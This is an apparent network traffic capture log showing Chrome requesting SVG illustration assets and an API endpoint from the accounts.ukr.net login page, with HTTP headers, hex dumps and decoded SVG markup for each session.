xmlns="http://www.w3.org/2000/svg" width="594" height="456"><g fill="none" fill-rule="evenodd"><path fill="#d0d3d7" d="M255.735 181h94.673a3 3 0 0 1 2.952 3.535L338.605 266H237l14.8-81.713a4 4 0 0 1 3.935-3.287"/><path fill="#fff" d="M259.913 187h82.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.5	49746	212.42.75.253	443	5824	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:49:05 UTC	658	OUT	GET /login/assets/illustration-design-ece6269f.svg HTTP/1.1 Host: accounts.ukr.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://accounts.ukr.net/login?client_id=UqGeSNzaWtOnSS6i9Epb Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-26 11:49:05 UTC	337	IN	HTTP/1.1 200 OK Server: nginx Date: Sat, 26 Oct 2024 11:49:05 GMT Content-Type: image/svg+xml Content-Length: 13537 Connection: close Last-Modified: Mon, 14 Oct 2024 12:20:51 GMT ETag: "670d0ca3-34e1" Expires: Sat, 09 Nov 2024 11:49:05 GMT Cache-Control: max-age=1209600 Accept-Ranges: bytes X-Upstream: 4110.10.20.37:5080
2024-10-26 11:49:05 UTC	13537	IN	Data Raw: 3c 73 76 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 78 6d 6c 6e 73 3a 78 6c 69 6e 6b 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 6c 69 6e 6b 22 20 77 69 64 74 68 3d 22 35 39 34 22 20 68 65 69 67 68 74 3d 22 34 35 36 22 3e 3c 64 65 66 73 3e 3c 70 61 74 68 20 69 64 3d 22 61 22 20 64 3d 22 4d 34 20 30 68 32 38 32 2e 33 36 33 61 34 20 34 20 30 20 30 20 31 20 34 20 34 76 31 39 39 2e 33 36 34 48 30 56 34 61 34 20 34 20 30 20 30 20 31 20 34 2d 34 22 2f 3e 3c 70 61 74 68 20 69 64 3d 22 65 22 20 64 3d 22 4d 37 39 2e 32 38 20 33 32 2e 32 38 68 31 38 34 2e 35 61 34 20 34 20 30 20 30 20 31 20 34 20 34 76 31 36 37 2e 30 38 34 48 37 35 2e 32 38 56 33 36 2e 32 38 61 34 Data Ascii: <svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="594" height="456"><defs><path id="a" d="M4 0h282.363a4 4 0 0 1 4 4v199.364H0V4a4 4 0 0 1 4-4"/><path id="e" d="M79.28 32.28h184.5a4 4 0 0 1 4 4v167.084H75.28V36.28a4

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.5	49748	212.42.75.253	443	5824	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:49:05 UTC	477	OUT	GET /api/v1/cai/browser/get HTTP/1.1 Host: accounts.ukr.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: clapid=6D2FjAAAAACUwCHsvhcR1LIyQ65599Ht-PsFr1YCNUfh0-9c_IyEtw:wroH0uYg08WdJ1LZquElKB4mOFRyR0LZ4YilfMof_FE
2024-10-26 11:49:05 UTC	170	IN	HTTP/1.1 405 Method Not Allowed Server: nginx Date: Sat, 26 Oct 2024 11:49:05 GMT Content-Length: 0 Connection: close Allow: POST X-Upstream: 4210.10.20.49:5080

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.5	49747	212.42.75.253	443	5824	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:49:05 UTC	658	OUT	GET /login/assets/illustration-backup-e81719b8.svg HTTP/1.1 Host: accounts.ukr.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://accounts.ukr.net/login?client_id=UqGeSNzaWtOnSS6i9Epb Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-26 11:49:05 UTC	337	IN	HTTP/1.1 200 OK Server: nginx Date: Sat, 26 Oct 2024 11:49:05 GMT Content-Type: image/svg+xml Content-Length: 41292 Connection: close Last-Modified: Mon, 14 Oct 2024 12:20:51 GMT ETag: "670d0ca3-a14c" Expires: Sat, 09 Nov 2024 11:49:05 GMT Cache-Control: max-age=1209600 Accept-Ranges: bytes X-Upstream: 4210.10.20.37:5080
2024-10-26 11:49:05 UTC	16047	IN	Data Raw: 3c 73 76 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 78 6d 6c 6e 73 3a 78 6c 69 6e 6b 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 6c 69 6e 6b 22 20 77 69 64 74 68 3d 22 35 39 34 22 20 68 65 69 67 68 74 3d 22 34 35 36 22 3e 3c 64 65 66 73 3e 3c 6d 61 73 6b 20 69 64 3d 22 62 22 20 66 69 6c 6c 3d 22 23 66 66 66 22 3e 3c 70 61 74 68 20 66 69 6c 6c 2d 72 75 6c 65 3d 22 65 76 65 6e 6f 64 64 22 20 64 3d 22 4d 30 20 30 68 39 38 2e 30 35 76 31 30 37 2e 31 39 39 48 30 7a 22 2f 3e 3c 2f 6d 61 73 6b 3e 3c 6d 61 73 6b 20 69 64 3d 22 64 22 20 66 69 6c 6c 3d 22 23 66 66 66 22 3e 3c 75 73 65 20 78 6c 69 6e 6b 3a 68 72 65 66 3d 22 23 61 22 20 66 69 6c 6c 2d 72 75 6c 65 3d Data Ascii: <svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="594" height="456"><defs><mask id="b" fill="#fff"><path fill-rule="evenodd" d="M0 0h98.05v107.199H0z"/></mask><mask id="d" fill="#fff"><use xlink:href="#a" fill-rule=
2024-10-26 11:49:05 UTC	16384	IN	Data Raw: 43 67 4d 57 55 4d 30 52 42 4e 6c 54 6b 63 47 30 31 70 4b 44 68 74 6d 48 45 76 31 2b 50 7a 4d 69 53 6f 32 58 71 65 41 53 58 41 55 30 47 6d 30 66 42 42 4d 70 41 77 6f 69 71 53 67 57 73 66 6b 49 69 55 4f 5a 55 37 69 51 42 79 30 54 6c 76 71 70 59 52 46 69 59 5a 72 4d 41 38 32 51 36 6e 69 6b 77 4d 55 78 4a 59 45 6c 78 41 68 4d 70 61 2b 47 57 64 41 42 72 36 57 6d 53 53 4d 41 45 42 4d 63 6e 69 42 35 39 2f 55 69 47 2f 41 4b 35 2f 69 54 52 55 41 41 4d 56 4b 77 42 47 75 36 4a 74 73 50 59 47 6e 61 46 6c 37 46 38 6f 52 77 41 68 2b 54 6d 66 41 41 36 4e 62 32 2b 43 34 61 4e 72 48 71 70 6b 4e 44 52 42 49 2b 4f 4e 6a 38 61 64 41 66 31 72 51 41 34 54 74 2f 43 71 55 58 43 4a 64 69 71 41 43 4f 7a 32 4b 74 36 4a 56 71 38 68 61 5a 78 6e 6a 39 42 6b 6d 69 59 55 64 57 6b 6b 38 Data Ascii: CgMWUM0RBNlTkcG01pKDhtmHEv1+PzMiSo2XqeASXAU0Gm0fBBMpAwoiqSgWsfkIiUOZU7iQBy0TlvqpYRFiYZrMA82Q6nikwMUxJYElxAhMpa+GWdABr6WmSSMAEBMcniB59/UiG/AK5/iTRUAAMVKwBGu6JtsPYGnaFl7F8oRwAh+TmfAA6Nb2+C4aNrHqpkNDRBI+ONj8adAf1rQA4Tt/CqUXCJdiqACOz2Kt6JVq8haZxnj9BkmiYUdWkk8
2024-10-26 11:49:05 UTC	8861	IN	Data Raw: 39 35 35 35 32 37 22 20 64 3d 22 4d 31 33 32 2e 38 39 36 20 34 35 33 2e 30 34 38 61 2e 30 34 2e 30 34 20 30 20 30 20 30 20 2e 30 32 32 2e 30 30 35 63 32 2e 37 34 20 31 2e 30 36 20 37 2e 32 33 2e 36 20 31 32 2e 30 36 35 2d 2e 32 36 37 71 2e 39 32 38 2d 2e 31 36 37 20 31 2e 36 37 37 2d 2e 32 37 2e 31 39 37 2d 2e 30 32 36 2e 33 39 2d 2e 30 34 37 63 2e 31 30 32 2d 2e 30 31 34 2e 32 30 34 2d 2e 30 32 33 2e 33 30 32 2d 2e 30 33 36 20 34 2e 38 33 2d 2e 35 33 20 34 2e 35 32 2e 39 38 20 31 33 2e 37 37 36 2e 35 33 34 20 31 30 2e 35 35 31 2d 2e 35 31 32 20 31 33 2e 39 35 36 2d 34 2e 32 32 33 20 31 34 2e 33 37 2d 35 2e 37 36 2e 33 34 38 2d 31 2e 33 30 34 2d 34 2e 33 31 39 2d 32 2e 31 30 31 2d 39 2e 35 33 39 2d 33 2e 30 32 37 2d 2e 32 35 32 2d 2e 30 34 34 2d 2e 35 30 Data Ascii: 955527" d="M132.896 453.048a.04.04 0 0 0 .022.005c2.74 1.06 7.23.6 12.065-.267q.928-.167 1.677-.27.197-.026.39-.047c.102-.014.204-.023.302-.036 4.83-.53 4.52.98 13.776.534 10.551-.512 13.956-4.223 14.37-5.76.348-1.304-4.319-2.101-9.539-3.027-.252-.044-.50

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.5	49749	212.42.75.248	443	5824	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:49:05 UTC	550	OUT	GET /tunnel/websocket?cv%2Faccounts=login%2F2024.10.14.0820 HTTP/1.1 Host: poll0.fwdcdn.com Connection: Upgrade Pragma: no-cache Cache-Control: no-cache User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Upgrade: websocket Origin: https://accounts.ukr.net Sec-WebSocket-Version: 13 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Sec-WebSocket-Key: CWtMDyXN6P2nvRW4bggDgw== Sec-WebSocket-Extensions: permessage-deflate; client_max_window_bits
2024-10-26 11:49:05 UTC	348	IN	HTTP/1.1 426 Server: nginx Date: Sat, 26 Oct 2024 11:49:05 GMT Content-Length: 0 Connection: close Access-Control-Allow-Origin: * Access-Control-Allow-Credentials: true Access-Control-Allow-Headers: X-New-Iface, X-Requested-With, Content-Type, Cache-Control Access-Control-Expose-Headers: X-Client-Version Access-Control-Max-Age: 3610

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.5	49750	212.42.75.253	443	5824	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:49:05 UTC	661	OUT	GET /login/assets/illustration-patriotic-59471166.svg HTTP/1.1 Host: accounts.ukr.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://accounts.ukr.net/login?client_id=UqGeSNzaWtOnSS6i9Epb Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-26 11:49:05 UTC	337	IN	HTTP/1.1 200 OK Server: nginx Date: Sat, 26 Oct 2024 11:49:05 GMT Content-Type: image/svg+xml Content-Length: 39605 Connection: close Last-Modified: Mon, 14 Oct 2024 12:20:51 GMT ETag: "670d0ca3-9ab5" Expires: Sat, 09 Nov 2024 11:49:05 GMT Cache-Control: max-age=1209600 Accept-Ranges: bytes X-Upstream: 4110.10.20.49:5080
2024-10-26 11:49:05 UTC	16047	IN	Data Raw: 3c 73 76 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 78 6d 6c 6e 73 3a 78 6c 69 6e 6b 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 6c 69 6e 6b 22 20 77 69 64 74 68 3d 22 35 39 34 22 20 68 65 69 67 68 74 3d 22 34 35 36 22 3e 3c 6c 69 6e 65 61 72 47 72 61 64 69 65 6e 74 20 69 64 3d 22 61 22 3e 3c 73 74 6f 70 20 6f 66 66 73 65 74 3d 22 30 22 20 73 74 6f 70 2d 63 6f 6c 6f 72 3d 22 23 66 61 65 66 35 34 22 2f 3e 3c 73 74 6f 70 20 6f 66 66 73 65 74 3d 22 2e 33 37 34 22 20 73 74 6f 70 2d 63 6f 6c 6f 72 3d 22 23 66 61 65 66 35 34 22 2f 3e 3c 73 74 6f 70 20 6f 66 66 73 65 74 3d 22 31 22 20 73 74 6f 70 2d 63 6f 6c 6f 72 3d 22 23 65 65 39 30 32 36 22 2f 3e 3c 2f 6c 69 Data Ascii: <svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="594" height="456"><linearGradient id="a"><stop offset="0" stop-color="#faef54"/><stop offset=".374" stop-color="#faef54"/><stop offset="1" stop-color="#ee9026"/></li
2024-10-26 11:49:05 UTC	16384	IN	Data Raw: 35 36 20 33 2e 33 33 38 22 2f 3e 3c 70 61 74 68 20 66 69 6c 6c 3d 22 23 66 39 62 39 31 36 22 20 64 3d 22 4d 31 35 30 2e 31 38 36 20 36 38 2e 30 39 63 2e 30 32 33 20 31 2e 33 2d 31 2e 30 36 20 32 2e 33 31 39 2d 32 2e 33 36 20 32 2e 33 34 32 2d 31 2e 33 2e 30 32 32 2d 32 2e 34 31 37 2d 2e 39 35 38 2d 32 2e 34 34 2d 32 2e 32 35 38 2d 2e 30 32 32 2d 31 2e 33 20 31 2e 30 36 2d 32 2e 33 31 39 20 32 2e 33 36 2d 32 2e 33 34 32 20 31 2e 32 39 38 2d 2e 31 32 32 20 32 2e 34 31 37 2e 39 35 38 20 32 2e 34 34 20 32 2e 32 35 38 22 2f 3e 3c 70 61 74 68 20 66 69 6c 6c 3d 22 23 66 32 36 34 32 32 22 20 64 3d 22 4d 31 35 38 2e 33 30 38 20 35 37 2e 38 34 37 73 32 2e 31 30 32 2d 35 2e 36 33 38 20 35 2e 37 33 38 2d 33 2e 36 63 33 2e 36 33 37 20 32 2e 30 33 36 2d 2e 36 31 32 20 Data Ascii: 56 3.338"/><path fill="#f9b916" d="M150.186 68.09c.023 1.3-1.06 2.319-2.36 2.342-1.3.022-2.417-.958-2.44-2.258-.022-1.3 1.06-2.319 2.36-2.342 1.298-.122 2.417.958 2.44 2.258"/><path fill="#f26422" d="M158.308 57.847s2.102-5.638 5.738-3.6c3.637 2.036-.612
2024-10-26 11:49:05 UTC	7174	IN	Data Raw: 3d 22 23 66 66 66 22 20 73 74 72 6f 6b 65 3d 22 23 32 64 32 63 33 37 22 20 73 74 72 6f 6b 65 2d 77 69 64 74 68 3d 22 32 22 20 64 3d 22 4d 34 33 38 2e 32 20 33 30 32 2e 39 30 34 73 2d 31 2e 32 2e 37 2d 31 2e 35 20 31 2e 38 2e 33 20 31 2e 36 2e 36 20 31 2e 38 20 33 2e 38 20 32 2e 31 20 37 2e 39 20 31 2e 38 20 35 2e 36 2d 32 2e 33 20 35 2e 38 2d 32 2e 35 63 2e 31 2d 2e 32 2e 37 2d 32 2e 34 2d 31 2e 34 2d 32 2e 36 22 2f 3e 3c 70 61 74 68 20 66 69 6c 6c 3d 22 75 72 6c 28 23 6f 29 22 20 73 74 72 6f 6b 65 3d 22 23 61 33 36 31 32 34 22 20 73 74 72 6f 6b 65 2d 77 69 64 74 68 3d 22 32 22 20 64 3d 22 4d 30 20 33 31 2e 33 63 30 20 31 37 2e 33 20 31 34 2e 31 20 33 31 2e 33 20 33 31 2e 34 20 33 31 2e 33 20 31 37 2e 34 20 30 20 33 31 2e 34 2d 31 34 20 33 31 2e 34 2d 33 Data Ascii: ="#fff" stroke="#2d2c37" stroke-width="2" d="M438.2 302.904s-1.2.7-1.5 1.8.3 1.6.6 1.8 3.8 2.1 7.9 1.8 5.6-2.3 5.8-2.5c.1-.2.7-2.4-1.4-2.6"/><path fill="url(#o)" stroke="#a36124" stroke-width="2" d="M0 31.3c0 17.3 14.1 31.3 31.4 31.3 17.4 0 31.4-14 31.4-3

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.5	49751	212.42.75.253	443	5824	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:49:05 UTC	501	OUT	GET /login/assets/illustration-markers-828d12d7.svg HTTP/1.1 Host: accounts.ukr.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: clapid=6D2FjAAAAACUwCHsvhcR1LIyQ65599Ht-PsFr1YCNUfh0-9c_IyEtw:wroH0uYg08WdJ1LZquElKB4mOFRyR0LZ4YilfMof_FE
2024-10-26 11:49:05 UTC	337	IN	HTTP/1.1 200 OK Server: nginx Date: Sat, 26 Oct 2024 11:49:05 GMT Content-Type: image/svg+xml Content-Length: 10806 Connection: close Last-Modified: Mon, 14 Oct 2024 12:20:51 GMT ETag: "670d0ca3-2a36" Expires: Sat, 09 Nov 2024 11:49:05 GMT Cache-Control: max-age=1209600 Accept-Ranges: bytes X-Upstream: 4210.10.20.37:5080
2024-10-26 11:49:05 UTC	10806	IN	Data Raw: 3c 73 76 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 77 69 64 74 68 3d 22 35 39 34 22 20 68 65 69 67 68 74 3d 22 34 35 36 22 3e 3c 67 20 66 69 6c 6c 3d 22 6e 6f 6e 65 22 20 66 69 6c 6c 2d 72 75 6c 65 3d 22 65 76 65 6e 6f 64 64 22 3e 3c 67 20 73 74 72 6f 6b 65 3d 22 23 39 62 61 31 61 39 22 3e 3c 70 61 74 68 20 64 3d 22 6d 31 36 39 2e 37 37 32 20 32 35 38 2e 39 38 36 2d 36 30 2e 31 30 35 20 31 36 2e 39 36 35 63 2d 35 2e 35 36 20 31 2e 35 39 35 2d 31 31 2e 33 35 39 2d 31 2e 36 32 2d 31 32 2e 39 35 33 2d 37 2e 31 38 6c 2d 31 33 2e 30 33 33 2d 34 35 2e 34 35 63 2d 31 2e 35 39 34 2d 35 2e 35 36 20 31 2e 36 32 2d 31 31 2e 33 35 39 20 37 2e 31 38 2d 31 32 2e 39 35 33 6c 37 31 2e 31 31 37 2d 32 30 Data Ascii: <svg xmlns="http://www.w3.org/2000/svg" width="594" height="456"><g fill="none" fill-rule="evenodd"><g stroke="#9ba1a9"><path d="m169.772 258.986-60.105 16.965c-5.56 1.595-11.359-1.62-12.953-7.18l-13.033-45.45c-1.594-5.56 1.62-11.359 7.18-12.953l71.117-20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.5	49753	212.42.75.253	443	5824	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:49:05 UTC	661	OUT	GET /login/assets/illustration-big-files-db9d7440.svg HTTP/1.1 Host: accounts.ukr.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://accounts.ukr.net/login?client_id=UqGeSNzaWtOnSS6i9Epb Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-26 11:49:05 UTC	336	IN	HTTP/1.1 200 OK Server: nginx Date: Sat, 26 Oct 2024 11:49:05 GMT Content-Type: image/svg+xml Content-Length: 9055 Connection: close Last-Modified: Mon, 14 Oct 2024 12:20:51 GMT ETag: "670d0ca3-235f" Expires: Sat, 09 Nov 2024 11:49:05 GMT Cache-Control: max-age=1209600 Accept-Ranges: bytes X-Upstream: 4210.10.20.37:5080
2024-10-26 11:49:05 UTC	9055	IN	Data Raw: 3c 73 76 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 77 69 64 74 68 3d 22 35 39 34 22 20 68 65 69 67 68 74 3d 22 34 35 36 22 3e 3c 67 20 66 69 6c 6c 3d 22 6e 6f 6e 65 22 20 66 69 6c 6c 2d 72 75 6c 65 3d 22 65 76 65 6e 6f 64 64 22 3e 3c 67 20 73 74 72 6f 6b 65 3d 22 23 39 62 61 31 61 39 22 3e 3c 70 61 74 68 20 64 3d 22 4d 33 39 37 2e 36 38 38 20 34 35 35 2e 35 48 32 39 30 2e 31 37 33 7a 4d 34 36 30 2e 32 39 32 20 34 35 35 2e 35 48 34 32 38 2e 39 39 7a 4d 31 35 32 2e 38 30 36 20 34 35 35 2e 35 48 32 35 2e 32 39 31 7a 4d 31 38 39 2e 35 35 32 20 34 35 35 2e 33 34 68 2d 32 30 2e 34 31 35 7a 4d 34 35 36 2e 39 39 20 32 30 36 2e 38 30 33 6c 34 36 2e 37 32 20 33 37 2e 37 39 33 2d 2e 30 30 31 2e 31 Data Ascii: <svg xmlns="http://www.w3.org/2000/svg" width="594" height="456"><g fill="none" fill-rule="evenodd"><g stroke="#9ba1a9"><path d="M397.688 455.5H290.173zM460.292 455.5H428.99zM152.806 455.5H25.291zM189.552 455.34h-20.415zM456.99 206.803l46.72 37.793-.001.1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.5	49754	212.42.75.253	443	5824	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:49:05 UTC	661	OUT	GET /login/assets/illustration-unlimited-8c72d422.svg HTTP/1.1 Host: accounts.ukr.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://accounts.ukr.net/login?client_id=UqGeSNzaWtOnSS6i9Epb Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-26 11:49:05 UTC	336	IN	HTTP/1.1 200 OK Server: nginx Date: Sat, 26 Oct 2024 11:49:05 GMT Content-Type: image/svg+xml Content-Length: 9961 Connection: close Last-Modified: Mon, 14 Oct 2024 12:20:51 GMT ETag: "670d0ca3-26e9" Expires: Sat, 09 Nov 2024 11:49:05 GMT Cache-Control: max-age=1209600 Accept-Ranges: bytes X-Upstream: 4210.10.20.37:5080
2024-10-26 11:49:05 UTC	9961	IN	Data Raw: 3c 73 76 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 77 69 64 74 68 3d 22 35 39 34 22 20 68 65 69 67 68 74 3d 22 34 35 36 22 3e 3c 67 20 66 69 6c 6c 3d 22 6e 6f 6e 65 22 20 66 69 6c 6c 2d 72 75 6c 65 3d 22 65 76 65 6e 6f 64 64 22 3e 3c 67 20 73 74 72 6f 6b 65 3d 22 23 39 62 61 31 61 39 22 3e 3c 70 61 74 68 20 64 3d 22 4d 34 33 30 20 34 35 35 2e 35 68 2d 39 31 7a 4d 33 32 37 20 34 35 35 2e 35 68 2d 32 36 7a 4d 31 39 30 20 34 35 35 2e 35 48 31 37 7a 22 2f 3e 3c 2f 67 3e 3c 70 61 74 68 20 66 69 6c 6c 3d 22 23 64 66 65 31 65 39 22 20 64 3d 22 4d 33 38 37 20 31 38 32 68 31 35 76 32 37 34 68 2d 31 35 7a 22 2f 3e 3c 70 61 74 68 20 73 74 72 6f 6b 65 3d 22 23 39 62 61 31 61 39 22 20 64 3d 22 4d 34 Data Ascii: <svg xmlns="http://www.w3.org/2000/svg" width="594" height="456"><g fill="none" fill-rule="evenodd"><g stroke="#9ba1a9"><path d="M430 455.5h-91zM327 455.5h-26zM190 455.5H17z"/></g><path fill="#dfe1e9" d="M387 182h15v274h-15z"/><path stroke="#9ba1a9" d="M4

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.5	49755	212.42.75.253	443	5824	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:49:05 UTC	500	OUT	GET /login/assets/illustration-speedy-5282c395.svg HTTP/1.1 Host: accounts.ukr.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: clapid=6D2FjAAAAACUwCHsvhcR1LIyQ65599Ht-PsFr1YCNUfh0-9c_IyEtw:wroH0uYg08WdJ1LZquElKB4mOFRyR0LZ4YilfMof_FE
2024-10-26 11:49:05 UTC	337	IN	HTTP/1.1 200 OK Server: nginx Date: Sat, 26 Oct 2024 11:49:05 GMT Content-Type: image/svg+xml Content-Length: 18445 Connection: close Last-Modified: Mon, 14 Oct 2024 12:20:51 GMT ETag: "670d0ca3-480d" Expires: Sat, 09 Nov 2024 11:49:05 GMT Cache-Control: max-age=1209600 Accept-Ranges: bytes X-Upstream: 4110.10.20.49:5080
2024-10-26 11:49:05 UTC	16047	IN	Data Raw: 3c 73 76 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 77 69 64 74 68 3d 22 35 39 34 22 20 68 65 69 67 68 74 3d 22 34 35 36 22 3e 3c 67 20 66 69 6c 6c 3d 22 6e 6f 6e 65 22 20 66 69 6c 6c 2d 72 75 6c 65 3d 22 65 76 65 6e 6f 64 64 22 3e 3c 67 20 74 72 61 6e 73 66 6f 72 6d 3d 22 74 72 61 6e 73 6c 61 74 65 28 31 35 20 31 33 39 29 22 3e 3c 72 65 63 74 20 77 69 64 74 68 3d 22 33 33 36 22 20 68 65 69 67 68 74 3d 22 32 32 31 22 20 66 69 6c 6c 3d 22 23 64 66 65 31 65 39 22 20 72 78 3d 22 31 34 22 2f 3e 3c 70 61 74 68 20 66 69 6c 6c 3d 22 23 66 33 66 34 66 36 22 20 64 3d 22 4d 31 35 2e 34 38 31 20 32 31 2e 31 39 34 63 33 2e 30 34 33 20 30 20 35 2e 35 31 2d 32 2e 35 30 36 20 35 2e 35 31 2d 35 2e 35 39 Data Ascii: <svg xmlns="http://www.w3.org/2000/svg" width="594" height="456"><g fill="none" fill-rule="evenodd"><g transform="translate(15 139)"><rect width="336" height="221" fill="#dfe1e9" rx="14"/><path fill="#f3f4f6" d="M15.481 21.194c3.043 0 5.51-2.506 5.51-5.59
